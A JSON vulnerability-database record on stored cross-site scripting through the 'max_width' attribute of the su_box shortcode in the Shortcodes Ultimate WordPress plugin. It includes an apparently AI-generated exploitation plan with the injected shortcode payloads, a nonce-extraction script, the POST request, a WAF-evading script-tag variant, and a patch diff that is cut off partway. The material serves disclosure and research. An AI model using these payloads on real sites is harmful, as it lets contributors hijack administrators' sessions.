[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fgaxjIWlZk5eWFsUI7sVfrllKRWfRDA9UhfdPrlDeWkU":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":33,"research_vulnerable_code":9,"research_fix_diff":34,"research_exploit_outline":35,"research_model_used":36,"research_started_at":37,"research_completed_at":38,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":30,"source_links":39},"CVE-2026-2480","wp-shortcodes-plugin-shortcodes-ultimate-authenticated-contributor-stored-cross-site-scripting-via-maxwidth-shortcode-at","WP Shortcodes Plugin — Shortcodes Ultimate \u003C= 7.4.10 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'max_width' Shortcode Attribute","The WP Shortcodes Plugin — Shortcodes Ultimate plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'max_width' attribute of the `su_box` shortcode in all versions up to, and including, 7.4.10 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","shortcodes-ultimate",null,"\u003C=7.4.10","7.5.0","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-03-31 10:25:05","2026-03-31 22:26:03",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F61ab7a28-bcca-41ff-89d1-c083c6b0d39f?source=api-prod",1,[22,23,24,25,26,27,28],"admin\u002Fcss\u002Fadmin.css","admin\u002Fpartials\u002Fpages\u002Fabout.php","inc\u002Fcore\u002Fgenerator.php","includes\u002Fclass-shortcodes-ultimate.php","includes\u002Ffunctions-helpers.php","includes\u002Fjs\u002Fgenerator\u002Findex.js","includes\u002Fjs\u002Fgenerator\u002Findex.js.map","researched",false,3,"# Exploitation Research Plan - CVE-2026-2480\n\n## 1. Vulnerability Summary\nThe **Shortcodes Ultimate** plugin (versions \u003C= 7.4.10) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists within the rendering of the `su_box` shortcode. Specifically, the `max_width` attribute is reflected into the HTML output without sufficient sanitization or attribute escaping. Authenticated users with at least `contributor` privileges can exploit this to inject malicious JavaScript into posts or pages, which then executes in the browser of any user (including administrators) who views the content.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `wp-admin\u002Fpost.php` (for storing the shortcode) and the public-facing post\u002Fpage URL (for execution).\n- **Shortcode**: `[su_box]`\n- **Vulnerable Attribute**: `max_width`\n- **Authentication Level**: Contributor or higher (users who can create\u002Fedit posts).\n- **Preconditions**: The plugin must be active, and a user with `contributor` roles must be able to create a post containing shortcodes.\n\n## 3. Code Flow\nThe precise sink is located in the shortcode rendering logic (likely in `includes\u002Ffunctions-shortcodes.php`, referenced in `Shortcodes_Ultimate::load_dependencies` but not fully provided in the source).\n\n1.  **Entry**: A Contributor saves a post containing: `[su_box max_width='100%;\" onmouseover=\"alert(document.domain)\"']...[\u002Fsu_box]`.\n2.  **Storage**: WordPress saves this raw shortcode string in the `post_content` column of the `wp_posts` table.\n3.  **Processing**: When the post is viewed, WordPress calls `do_shortcode()`, which triggers the registered callback for `su_box`.\n4.  **Rendering**: The callback extracts the `max_width` attribute. It fails to use `esc_attr()` or a similar sanitization function before placing it into the style attribute of a `div` element.\n5.  **Sink**: The resulting HTML looks approximately like:\n    ```html\n    \u003Cdiv class=\"su-box\" style=\"max-width:100%;\" onmouseover=\"alert(document.domain)\"\">...\u003C\u002Fdiv>\n    ```\n6.  **Execution**: When an administrator moves their mouse over the box, the XSS executes.\n\n## 4. Nonce Acquisition Strategy\nTo save a post as a Contributor, a standard WordPress `_wpnonce` for the post editor is required.\n\n1.  **Login**: Use the `browser_navigate` and `browser_type` tools to log in as a Contributor.\n2.  **Navigate**: Navigate to `wp-admin\u002Fpost-new.php`.\n3.  **Extract**: Use `browser_eval` to extract the nonce and the post ID (if autosaved) from the DOM.\n    - Nonce: `document.querySelector('#_wpnonce').value`\n    - Post ID: `document.querySelector('#post_ID').value`\n\n*Note: While `Su_Generator` in `inc\u002Fcore\u002Fgenerator.php` registers AJAX actions like `su_generator_preview`, these are for the UI preview. The \"Stored\" nature of this CVE refers to the post content itself.*\n\n## 5. Exploitation Strategy\n\n### Step 1: Authentication and Nonce Extraction\n- **Action**: Log in as `contributor`.\n- **Action**: Navigate to `wp-admin\u002Fpost-new.php`.\n- **JS Extraction**:\n    ```javascript\n    {\n        \"nonce\": document.querySelector('#_wpnonce').value,\n        \"post_id\": document.querySelector('#post_ID').value,\n        \"author\": document.querySelector('#post_author').value\n    }\n    ```\n\n### Step 2: Injected Post Creation\n- **Tool**: `http_request`\n- **Method**: `POST`\n- **URL**: `http:\u002F\u002Fvulnerable-wp.local\u002Fwp-admin\u002Fpost.php`\n- **Headers**: `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body Parameters**:\n    - `_wpnonce`: `[EXTRACTED_NONCE]`\n    - `action`: `editpost`\n    - `post_ID`: `[EXTRACTED_POST_ID]`\n    - `post_type`: `post`\n    - `post_title`: `Stored XSS PoC`\n    - `post_status`: `publish` (if contributor has permission) or `pending`\n    - `content`: `[su_box title=\"XSS Box\" max_width='600px; font-size: 50px;\" onmouseover=\"alert(document.domain)\"']Hover over this box to trigger XSS[\u002Fsu_box]`\n\n### Step 3: Triggering the XSS\n- **Action**: Log in as `admin`.\n- **Action**: Navigate to the URL of the newly created post: `http:\u002F\u002Fvulnerable-wp.local\u002F?p=[POST_ID]`.\n- **Action**: Use `browser_move_mouse` to hover over the rendered box element.\n\n## 6. Test Data Setup\n1.  **Plugin**: Install and activate `shortcodes-ultimate` version 7.4.10.\n2.  **User**: Create a user with the `contributor` role.\n    - `wp user create attacker attacker@example.com --role=contributor --user_pass=password`\n\n## 7. Expected Results\n- The HTTP request to `post.php` should return a `302` redirect to the post edit page, indicating success.\n- When viewing the post source, the `su-box` div should contain the broken style attribute:\n    `style=\"max-width:600px; font-size: 50px;\" onmouseover=\"alert(document.domain)\"`\n- The browser should trigger an alert dialog containing the site domain when the box is hovered.\n\n## 8. Verification Steps\n1.  **CLI Check**: Verify the post content in the database.\n    - `wp post get [POST_ID] --field=post_content`\n    - Output should contain the malicious `[su_box ...]` string.\n2.  **DOM Check**: Use `browser_eval` on the post page to check for the presence of the `onmouseover` handler.\n    - `browser_eval(\"document.querySelector('.su-box').getAttribute('onmouseover')\")`\n    - Should return: `alert(document.domain)`\n\n## 9. Alternative Approaches\nIf `onmouseover` is blocked by a site-wide security policy (e.g., a basic WAF), attempt to break out of the style tag entirely to inject a script tag:\n- **Payload**: `600px;\">\u003C\u002Fstyle>\u003Cscript>alert(document.domain)\u003C\u002Fscript>\u003Cstyle>\"`\n- **Resulting HTML**:\n    ```html\n    \u003Cdiv class=\"su-box\" style=\"max-width:600px;\">\u003C\u002Fstyle>\u003Cscript>alert(document.domain)\u003C\u002Fscript>\u003Cstyle>\">...\u003C\u002Fdiv>\n    ```\nThis payload closes the `style` attribute, closes the `div` (implicitly or via the style tag hack), and executes a script tag directly.","The Shortcodes Ultimate plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'max_width' attribute of the su_box shortcode. Authenticated attackers with contributor-level permissions or higher can inject malicious JavaScript into the style attribute of the rendered box element, which executes when a user interacts with or views the affected page.","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.4.9\u002Fadmin\u002Fcss\u002Fadmin.css \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.5.0\u002Fadmin\u002Fcss\u002Fadmin.css\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.4.9\u002Fadmin\u002Fcss\u002Fadmin.css\t2026-02-02 16:19:34.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.5.0\u002Fadmin\u002Fcss\u002Fadmin.css\t2026-03-23 19:21:32.000000000 +0000\n@@ -1 +1 @@\n-.su-admin-u-hidden{display:none}.su-admin-c-button{display:inline-block;padding:7px 15px;border-radius:3px;background:#0073d7;color:#fff;text-align:center;text-decoration:none;text-transform:uppercase;text-shadow:0 1px 2px #004581;font-weight:600;font-size:.85rem;cursor:pointer}.su-admin-c-button:hover{background:rgb(38.25,136,221);color:#fff;text-decoration:none}.su-admin-c-button:active,.su-admin-c-button:focus{background:rgb(0,86.25,161.25);color:#fff;text-decoration:none}.su-admin-c-notice-pro{margin:-10px -12px 12px -10px;padding:size-base();background:#fff7c6;box-shadow:0 1px 10px rgba(147.9,128.18,0,.4)}.su-admin-c-notice-pro p{margin:0;font-weight:500;font-size:.95rem}.su-admin-c-notice-pro p+p{margin:size-base(.75) 0 0}.su-admin-c-notice-pro .button{text-transform:uppercase;font-weight:700}@media screen and (min-width:783px){.su-admin-c-notice-pro{display:flex;align-items:center;justify-content:space-between;margin:-10px -20px 12px -22px;padding:size-base(.75) size-base()}.su-admin-c-notice-pro p+p{margin:0 0 0 size-base()}.su-admin-c-notice-pro .button{padding:size-base(.25) size-base(.75)}}body.toplevel_page_shortcodes-ultimate{background:#fff}body.toplevel_page_shortcodes-ultimate .notice,body.toplevel_page_shortcodes-ultimate .updated{display:none!important}.su-admin-about{margin:60px auto;padding-right:10px}@media screen and (min-width:783px){.su-admin-about{margin:100px auto;padding-right:20px}}.su-admin-about-page-header{margin:0 auto;max-width:540px;text-align:center}.su-admin-about-page-header img{width:64px;height:64px}.su-admin-about-page-header h1{margin:25px 0 10px;padding:0;font-weight:700;font-size:1.45rem}.su-admin-about-page-header p{margin:0;font-size:.9rem}@media only screen and (min-width:783px){.su-admin-about-page-header img{width:84px;height:84px}.su-admin-about-page-header h1{margin:30px 0 10px;font-size:2rem}.su-admin-about-page-header p{font-size:1rem}}.su-admin-about-getting-started{margin:30px auto 0;max-width:960px}.su-admin-about-getting-started-video{position:relative;padding-top:56.25%;background:#f5f5f5}@keyframes su-admin-about-getting-started-video-loading{0%{opacity:1}60%{opacity:1}80%{opacity:0}100%{opacity:1}}.su-admin-about-getting-started-video-loading{animation:su-admin-about-getting-started-video-loading 2s infinite}.su-admin-about-getting-started-video-button,.su-admin-about-getting-started-video-iframe{position:absolute;top:0;right:0;bottom:0;left:0;width:100%;height:100%}.su-admin-about-getting-started-video-button{display:flex;align-items:center;flex-direction:column;justify-content:center;margin:0;padding:0;border:none;border-radius:3px;background:#ccc url(..\u002Fimages\u002Fpages\u002Fabout\u002Fposter.jpg) no-repeat;background-size:cover;color:inherit;font-size:100%;font-family:inherit;cursor:pointer;-webkit-appearance:none;-moz-appearance:none}.su-admin-about-getting-started-video-button.su-admin-u-hidden{display:none}.su-admin-about-getting-started-video-button svg{width:64px;height:64px;color:#0073d7;transition:transform .4s ease;transform:scale(1)}.su-admin-about-getting-started-video-button:active svg,.su-admin-about-getting-started-video-button:focus svg,.su-admin-about-getting-started-video-button:hover svg{transform:scale(1.2)}.su-admin-about-getting-started-video-button span{margin-top:20px;color:#000;text-shadow:0 1px 3px #fff;font-weight:500;font-size:.9rem}.su-admin-about-getting-started p{margin:1rem 0 0}@media only screen and (min-width:783px){.su-admin-about-getting-started{margin:80px auto 0}.su-admin-about-getting-started-video-button span{font-size:1rem}.su-admin-about-getting-started-video-button svg{width:80px;height:80px}}.su-admin-about-popular{margin-top:60px}.su-admin-about-popular h2{margin:0;text-align:center;text-transform:capitalize;font-weight:700;font-size:1.45rem}.su-admin-about-popular p{margin:15px auto 0;max-width:540px;text-align:center;font-size:.9rem}.su-admin-about-popular-grid{margin:40px auto 0;max-width:400px}.su-admin-about-popular-item{display:flex;align-items:flex-start;margin:0 0 25px}.su-admin-about-popular-item-icon{flex:0 0 auto;margin-right:15px;background:#fff}.su-admin-about-popular-item-title{display:block;margin-bottom:5px;text-transform:capitalize;font-weight:700;font-size:1rem;line-height:24px}.su-admin-about-popular-item-description{color:#777}.su-admin-about-popular-bottom{margin-top:20px;text-align:center}.su-admin-about-popular-bottom .button{display:inline-flex;align-items:center;padding:.4rem 1.2rem;text-transform:uppercase;font-weight:500;font-size:.9rem}.su-admin-about-popular-bottom svg{margin:-2px 0 0 7.4px}@media only screen and (min-width:783px){.su-admin-about-popular{margin-top:100px}.su-admin-about-popular h2{font-size:2rem}.su-admin-about-popular p{margin-top:20px;font-size:1rem}.su-admin-about-popular-grid{display:flex;flex-wrap:wrap;justify-content:space-between;margin:60px auto 0;max-width:640px}.su-admin-about-popular-item{flex:0 0 45%;margin:0 0 35px}}.su-admin-about-upgrade{position:relative;margin:60px -10px 0;padding:40px 25px 30px;max-width:800px;background:linear-gradient(to bottom,#282828,#000);color:#fff}.su-admin-about-upgrade::before{position:absolute;top:0;right:0;left:0;display:block;width:100%;height:5px;background-image:linear-gradient(45deg,#d168f7 0,#d168f7 12.5%,#f768b2 12.5%,#f768b2 25%,#f78968 25%,#f78968 37.5%,#f7f568 37.5%,#f7f568 50%,#8ef768 50%,#8ef768 62.5%,#68f7ad 62.5%,#68f7ad 75%,#68d6f7 75%,#68d6f7 87.5%,#686af7 87.5%,#686af7 100%);content:\"\"}.su-admin-about-upgrade-features{flex:0 0 64%}.su-admin-about-upgrade-features h2{margin:0;color:#fff;text-align:center;font-weight:700;font-size:1.65rem}.su-admin-about-upgrade-features-list{display:flex;justify-content:center}.su-admin-about-upgrade-features-list ul{margin:30px 0 0}.su-admin-about-upgrade-features-list li{position:relative;box-sizing:border-box;margin:0;padding:0 0 0 22px;font-size:.9rem;line-height:1.5}.su-admin-about-upgrade-features-list li::before{position:absolute;top:0;left:0;display:block;width:12px;height:1.35rem;background:0 50% url(..\u002Fimages\u002Fpages\u002Fabout\u002Fcheck.svg) no-repeat;content:\"\"}.su-admin-about-upgrade-features-list li+li{margin-top:5px}.su-admin-about-upgrade-buy{display:flex;flex:0 0 30%;flex-direction:column;justify-content:center;margin-top:35px}.su-admin-about-upgrade-buy-pricing{margin-bottom:25px;text-align:center}.su-admin-about-upgrade-buy-pricing-price{display:flex;justify-content:center}.su-admin-about-upgrade-buy-pricing-currency{color:#ddd;font-weight:500;font-size:25px;line-height:1}.su-admin-about-upgrade-buy-pricing-value{margin:0 5px 0 2px;vertical-align:top;font-weight:700;font-size:65px;line-height:.7}.su-admin-about-upgrade-buy-pricing-period{margin-top:10px;color:#a2a2a2;font-size:.8rem}.su-admin-about-upgrade-buy-button{display:block;padding:15px;font-size:1rem;line-height:1.5}@media only screen and (min-width:783px){.su-admin-about-upgrade{display:flex;justify-content:space-between;margin:100px auto 0;padding:50px 40px;border-radius:5px}.su-admin-about-upgrade::before{border-top-left-radius:5px;border-top-right-radius:5px}.su-admin-about-upgrade-features h2{font-size:1.65rem;text-align:left}.su-admin-about-upgrade-features-list{display:block}.su-admin-about-upgrade-features-list ul{display:grid;grid-template-columns:repeat(auto-fit,minmax(215px,1fr));grid-gap:10px 20px}.su-admin-about-upgrade-features-list li+li{margin-top:0}.su-admin-about-upgrade-buy{margin:0}}.su-admin-about-help{margin-top:100px}.su-admin-about-help h2{margin:0;text-align:center;text-transform:capitalize;font-weight:700;font-size:1.45rem}@media only screen and (min-width:783px){.su-admin-about-help h2{font-size:2rem}}.su-admin-about-help-menu{display:flex;justify-content:center;margin-top:40px}.su-admin-about-help-menu ul{margin:0}.su-admin-about-help-menu li{margin:0}.su-admin-about-help-menu li+li{margin-top:10px}.su-admin-about-help-menu a{position:relative;display:block;padding-left:30px;text-decoration:none;font-weight:500;font-size:1rem;line-height:1.5}.su-admin-about-help-menu a:active,.su-admin-about-help-menu a:focus,.su-admin-about-help-menu a:hover{text-decoration:underline}.su-admin-about-help-menu svg{position:absolute;top:.225rem;left:0;width:1.1rem;height:1.1rem;color:#333}.su-admin-about-help-menu em{padding:.15rem .3rem;border-radius:3px;background:#f1f1f1;color:#000;font-weight:700;font-style:normal;font-size:.8rem;line-height:1}@media only screen and (min-width:783px){.su-admin-about-help-menu ul{display:flex}.su-admin-about-help-menu li{flex:0 1 auto}.su-admin-about-help-menu li+li{margin:0 0 0 40px}}.su-admin-settings-page-title{display:flex!important;align-items:center}.su-admin-settings-page-title img{margin-right:13px}.su-admin-settings-form{max-width:800px}.su-admin-settings-form .CodeMirror{height:auto;border:1px solid #7e8993}.su-admin-settings-form .CodeMirror-scroll{min-height:100px;max-height:80vh}.su-admin-settings-form details{margin:20px 0}.su-admin-settings-form summary{font-weight:600;cursor:pointer}.su-admin-settings-form details>article{margin-top:20px}.su-admin-settings-form p.description{margin-top:10px}.su-admin-settings-bottom-menu li{position:relative;display:inline-block;margin:0}.su-admin-settings-bottom-menu li+li{margin-left:32px}.su-admin-settings-bottom-menu li+li::before{position:absolute;top:20%;left:-15px;display:block;height:70%;border-left:1px solid #ccd0d4;content:\"\"}\n\\ No newline at end of file\n+.su-admin-u-hidden{display:none}.su-admin-c-button{display:inline-block;padding:7px 15px;border-radius:3px;background:#0073d7;color:#fff;text-align:center;text-decoration:none;text-transform:uppercase;text-shadow:0 1px 2px #004581;font-weight:600;font-size:.85rem;cursor:pointer}.su-admin-c-button:hover{background:rgb(38.25,136,221);color:#fff;text-decoration:none}.su-admin-c-button:active,.su-admin-c-button:focus{background:rgb(0,86.25,161.25);color:#fff;text-decoration:none}.su-admin-c-notice-pro{margin:-10px -12px 12px -10px;padding:20px;background:#fff7c6;box-shadow:0 1px 10px rgba(147.9,128.18,0,.4)}.su-admin-c-notice-pro p{margin:0;font-weight:500;font-size:.95rem}.su-admin-c-notice-pro p+p{margin:15px 0 0}.su-admin-c-notice-pro .button{text-transform:uppercase;font-weight:700}@media screen and (min-width:783px){.su-admin-c-notice-pro{display:flex;align-items:center;justify-content:space-between;margin:-10px -20px 12px -22px;padding:15px 20px}.su-admin-c-notice-pro p+p{margin:0 0 0 20px}.su-admin-c-notice-pro .button{padding:5px 15px}}body.toplevel_page_shortcodes-ultimate{background:#fff}body.toplevel_page_shortcodes-ultimate .notice,body.toplevel_page_shortcodes-ultimate .updated{display:none!important}.su-admin-about{margin:60px auto;padding-right:10px}@media screen and (min-width:783px){.su-admin-about{margin:100px auto;padding-right:20px}}.su-admin-about-page-header{margin:0 auto;max-width:540px;text-align:center}.su-admin-about-page-header img{width:64px;height:64px}.su-admin-about-page-header h1{margin:25px 0 10px;padding:0;font-weight:700;font-size:1.45rem}.su-admin-about-page-header p{margin:0;font-size:.9rem}@media only screen and (min-width:783px){.su-admin-about-page-header img{width:84px;height:84px}.su-admin-about-page-header h1{margin:30px 0 10px;font-size:2rem}.su-admin-about-page-header p{font-size:1rem}}.su-admin-about-getting-started{margin:30px auto 0;max-width:960px}.su-admin-about-getting-started-video{position:relative;padding-top:56.25%;background:#f5f5f5}@keyframes su-admin-about-getting-started-video-loading{0%{opacity:1}60%{opacity:1}80%{opacity:0}100%{opacity:1}}.su-admin-about-getting-started-video-loading{animation:su-admin-about-getting-started-video-loading 2s infinite}.su-admin-about-getting-started-video-button,.su-admin-about-getting-started-video-iframe{position:absolute;top:0;right:0;bottom:0;left:0;width:100%;height:100%}.su-admin-about-getting-started-video-button{display:flex;align-items:center;flex-direction:column;justify-content:center;margin:0;padding:0;border:none;border-radius:3px;background:#ccc url(..\u002Fimages\u002Fpages\u002Fabout\u002Fposter.jpg) no-repeat;background-size:cover;color:inherit;font-size:100%;font-family:inherit;cursor:pointer;-webkit-appearance:none;-moz-appearance:none}.su-admin-about-getting-started-video-button.su-admin-u-hidden{display:none}.su-admin-about-getting-started-video-button svg{width:64px;height:64px;color:#0073d7;transition:transform .4s ease;transform:scale(1)}.su-admin-about-getting-started-video-button:active svg,.su-admin-about-getting-started-video-button:focus svg,.su-admin-about-getting-started-video-button:hover svg{transform:scale(1.2)}.su-admin-about-getting-started-video-button span{margin-top:20px;color:#000;text-shadow:0 1px 3px #fff;font-weight:500;font-size:.9rem}.su-admin-about-getting-started p{margin:1rem 0 0}@media only screen and (min-width:783px){.su-admin-about-getting-started{margin:80px auto 0}.su-admin-about-getting-started-video-button span{font-size:1rem}.su-admin-about-getting-started-video-button svg{width:80px;height:80px}}.su-admin-about-popular{margin-top:60px}.su-admin-about-popular h2{margin:0;text-align:center;text-transform:capitalize;font-weight:700;font-size:1.45rem}.su-admin-about-popular p{margin:15px auto 0;max-width:540px;text-align:center;font-size:.9rem}.su-admin-about-popular-grid{margin:40px auto 0;max-width:400px}.su-admin-about-popular-item{display:flex;align-items:flex-start;margin:0 0 25px}.su-admin-about-popular-item-icon{flex:0 0 auto;margin-right:15px;background:#fff}.su-admin-about-popular-item-title{display:block;margin-bottom:5px;text-transform:capitalize;font-weight:700;font-size:1rem;line-height:24px}.su-admin-about-popular-item-description{color:#777}.su-admin-about-popular-bottom{margin-top:20px;text-align:center}.su-admin-about-popular-bottom .button{display:inline-flex;align-items:center;padding:.4rem 1.2rem;text-transform:uppercase;font-weight:500;font-size:.9rem}.su-admin-about-popular-bottom svg{margin:-2px 0 0 7.4px}@media only screen and (min-width:783px){.su-admin-about-popular{margin-top:100px}.su-admin-about-popular h2{font-size:2rem}.su-admin-about-popular p{margin-top:20px;font-size:1rem}.su-admin-about-popular-grid{display:flex;flex-wrap:wrap;justify-content:space-between;margin:60px auto 0;max-width:640px}.su-admin-about-popular-item{flex:0 0 45%;margin:0 0 35px}}.su-admin-about-upgrade{position:relative;margin:60px -10px 0;padding:40px 25px 30px;max-width:800px;background:linear-gradient(to bottom,#282828,#000);color:#fff}.su-admin-about-upgrade::before{position:absolute;top:0;right:0;left:0;display:block;width:100%;height:5px;background-image:linear-gradient(45deg,#d168f7 0,#d168f7 12.5%,#f768b2 12.5%,#f768b2 25%,#f78968 25%,#f78968 37.5%,#f7f568 37.5%,#f7f568 50%,#8ef768 50%,#8ef768 62.5%,#68f7ad 62.5%,#68f7ad 75%,#68d6f7 75%,#68d6f7 87.5%,#686af7 87.5%,#686af7 100%);content:\"\"}.su-admin-about-upgrade-features{flex:0 0 64%}.su-admin-about-upgrade-features h2{margin:0;color:#fff;text-align:center;font-weight:700;font-size:1.65rem}.su-admin-about-upgrade-features-list{display:flex;justify-content:center}.su-admin-about-upgrade-features-list ul{margin:30px 0 0}.su-admin-about-upgrade-features-list li{position:relative;box-sizing:border-box;margin:0;padding:0 0 0 22px;font-size:.9rem;line-height:1.5}.su-admin-about-upgrade-features-list li::before{position:absolute;top:0;left:0;display:block;width:12px;height:1.35rem;background:0 50% url(..\u002Fimages\u002Fpages\u002Fabout\u002Fcheck.svg) no-repeat;content:\"\"}.su-admin-about-upgrade-features-list li+li{margin-top:5px}.su-admin-about-upgrade-buy{display:flex;flex:0 0 30%;flex-direction:column;justify-content:center;margin-top:35px}.su-admin-about-upgrade-buy-pricing{margin-bottom:25px;text-align:center}.su-admin-about-upgrade-buy-pricing-price{display:flex;justify-content:center}.su-admin-about-upgrade-buy-pricing-currency{color:#ddd;font-weight:500;font-size:25px;line-height:1}.su-admin-about-upgrade-buy-pricing-value{margin:0 5px 0 2px;vertical-align:top;font-weight:700;font-size:65px;line-height:.7}.su-admin-about-upgrade-buy-pricing-period{margin-top:10px;color:#a2a2a2;font-size:.8rem}.su-admin-about-upgrade-buy-button{display:block;padding:15px;font-size:1rem;line-height:1.5}@media only screen and (min-width:783px){.su-admin-about-upgrade{display:flex;justify-content:space-between;margin:100px auto 0;padding:50px 40px;border-radius:5px}.su-admin-about-upgrade::before{border-top-left-radius:5px;border-top-right-radius:5px}.su-admin-about-upgrade-features h2{font-size:1.65rem;text-align:left}.su-admin-about-upgrade-features-list{display:block}.su-admin-about-upgrade-features-list ul{display:grid;grid-template-columns:repeat(auto-fit,minmax(215px,1fr));grid-gap:10px 20px}.su-admin-about-upgrade-features-list li+li{margin-top:0}.su-admin-about-upgrade-buy{margin:0}}.su-admin-about-help{margin-top:100px}.su-admin-about-help h2{margin:0;text-align:center;text-transform:capitalize;font-weight:700;font-size:1.45rem}@media only screen and (min-width:783px){.su-admin-about-help h2{font-size:2rem}}.su-admin-about-help-menu{display:flex;justify-content:center;margin-top:40px}.su-admin-about-help-menu ul{margin:0}.su-admin-about-help-menu li{margin:0}.su-admin-about-help-menu li+li{margin-top:10px}.su-admin-about-help-menu a{position:relative;display:block;padding-left:30px;text-decoration:none;font-weight:500;font-size:1rem;line-height:1.5}.su-admin-about-help-menu a:active,.su-admin-about-help-menu a:focus,.su-admin-about-help-menu a:hover{text-decoration:underline}.su-admin-about-help-menu svg{position:absolute;top:.225rem;left:0;width:1.1rem;height:1.1rem;color:#333}.su-admin-about-help-menu em{padding:.15rem .3rem;border-radius:3px;background:#f1f1f1;color:#000;font-weight:700;font-style:normal;font-size:.8rem;line-height:1}@media only screen and (min-width:783px){.su-admin-about-help-menu ul{display:flex}.su-admin-about-help-menu li{flex:0 1 auto}.su-admin-about-help-menu li+li{margin:0 0 0 40px}}.su-admin-settings-page-title{display:flex!important;align-items:center}.su-admin-settings-page-title img{margin-right:13px}.su-admin-settings-form{max-width:800px}.su-admin-settings-form .CodeMirror{height:auto;border:1px solid #7e8993}.su-admin-settings-form .CodeMirror-scroll{min-height:100px;max-height:80vh}.su-admin-settings-form details{margin:20px 0}.su-admin-settings-form summary{font-weight:600;cursor:pointer}.su-admin-settings-form details>article{margin-top:20px}.su-admin-settings-form p.description{margin-top:10px}.su-admin-settings-bottom-menu li{position:relative;display:inline-block;margin:0}.su-admin-settings-bottom-menu li+li{margin-left:32px}.su-admin-settings-bottom-menu li+li::before{position:absolute;top:20%;left:-15px;display:block;height:70%;border-left:1px solid #ccd0d4;content:\"\"}\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.4.9\u002Fadmin\u002Fpartials\u002Fpages\u002Fabout.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.5.0\u002Fadmin\u002Fpartials\u002Fpages\u002Fabout.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.4.9\u002Fadmin\u002Fpartials\u002Fpages\u002Fabout.php\t2026-02-02 16:19:34.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.5.0\u002Fadmin\u002Fpartials\u002Fpages\u002Fabout.php\t2026-03-23 19:21:32.000000000 +0000\n@@ -55,16 +55,15 @@\n \t\t\t\t\t\u003Ch2>\u003C?php esc_html_e( 'Upgrade to PRO', 'shortcodes-ultimate' ); ?>\u003C\u002Fh2>\n \t\t\t\t\t\u003Cdiv class=\"su-admin-about-upgrade-features-list\">\n \t\t\t\t\t\t\u003Cul>\n+\t\t\t\t\t\t\t\u003Cli>\u003C?php esc_html_e( 'Elementor support', 'shortcodes-ultimate' ); ?>\u003C\u002Fli>\n+\t\t\t\t\t\t\t\u003Cli>\u003C?php esc_html_e( 'Personal email support', 'shortcodes-ultimate' ); ?>\u003C\u002Fli>\n \t\t\t\t\t\t\t\u003Cli>\u003C?php esc_html_e( 'Parallax Section shortcode', 'shortcodes-ultimate' ); ?>\u003C\u002Fli>\n-\t\t\t\t\t\t\t\u003Cli>\u003C?php esc_html_e( 'Custom PHP shortcodes', 'shortcodes-ultimate' ); ?>\u003C\u002Fli>\n \t\t\t\t\t\t\t\u003Cli>\u003C?php esc_html_e( 'Content Slider shortcode', 'shortcodes-ultimate' ); ?>\u003C\u002Fli>\n-\t\t\t\t\t\t\t\u003Cli>\u003C?php esc_html_e( 'Personal email support', 'shortcodes-ultimate' ); ?>\u003C\u002Fli>\n \t\t\t\t\t\t\t\u003Cli>\u003C?php esc_html_e( 'Testimonail shortcode', 'shortcodes-ultimate' ); ?>\u003C\u002Fli>\n-\t\t\t\t\t\t\t\u003Cli>\u003C?php esc_html_e( '24 styles for Heading', 'shortcodes-ultimate' ); ?>\u003C\u002Fli>\n \t\t\t\t\t\t\t\u003Cli>\u003C?php esc_html_e( 'Progress Bar shortcode', 'shortcodes-ultimate' ); ?>\u003C\u002Fli>\n-\t\t\t\t\t\t\t\u003Cli>\u003C?php esc_html_e( '14 styles for Spoiler', 'shortcodes-ultimate' ); ?>\u003C\u002Fli>\n \t\t\t\t\t\t\t\u003Cli>\u003C?php esc_html_e( 'Exit Popup shortcode', 'shortcodes-ultimate' ); ?>\u003C\u002Fli>\n-\t\t\t\t\t\t\t\u003Cli>\u003C?php esc_html_e( '13 styles for Tabs', 'shortcodes-ultimate' ); ?>\u003C\u002Fli>\n+\t\t\t\t\t\t\t\u003Cli>\u003C?php esc_html_e( 'Custom HTML & PHP shortcodes', 'shortcodes-ultimate' ); ?>\u003C\u002Fli>\n+\t\t\t\t\t\t\t\u003Cli>\u003C?php 